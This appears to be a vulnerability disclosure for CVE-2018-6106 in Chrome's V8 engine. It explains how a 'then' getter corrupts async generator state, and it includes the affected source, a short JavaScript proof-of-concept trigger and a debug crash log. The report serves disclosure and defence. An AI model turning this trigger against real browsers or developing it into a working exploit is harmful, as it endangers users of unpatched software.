Google Chrome V8 Await methods call ResolveNativePromise which calls InternalResolvePromise which can invoke a user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.
eb56f2216b0ca1318d166d23fcad7b4cChrome: V8: AwaitedPromise update bug
CVE-2018-6106
Here's a snippet of AsyncGeneratorReturn. (<a href="https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650</a>)
Node* const context = Parameter(Descriptor::kContext);
Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);
Node* const promise =
Await(context, generator, value, outer_promise, AwaitContext::kLength,
init_closure_context, var_on_resolve.value(), var_on_reject.value(),
is_caught);
CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));
StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,
promise);
The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke a user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.
PoC:
async function* asyncGenerator() {
}
let gen = asyncGenerator();
gen.return({
get then() {
delete this.then;
gen.next();
}
});
Log in debug mode:
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]
==== JS stack trace =========================================
Security context: 0x2b29083a3a71 <JSObject>#0#
2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#)
==== Details ================================================
[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {
// optimized frame
--------- s o u r c e c o d e ---------
<No Source>
-----------------------------------------
}
==== Key ============================================
#0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject>
#1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object>
#2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91>
=====================
Received signal 4 ILL_ILLOPN 7fb143ae2781
==== C stack trace ===============================
[0x7fb143ae643e]
[0x7fb143ae6395]
[0x7fb1436ce390]
[0x7fb143ae2781]
[0x7fb1430f23ae]
[0x7fb1430f1ef7]
[0x1c8e08204384]
[end of stack trace]
Illegal instruction
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt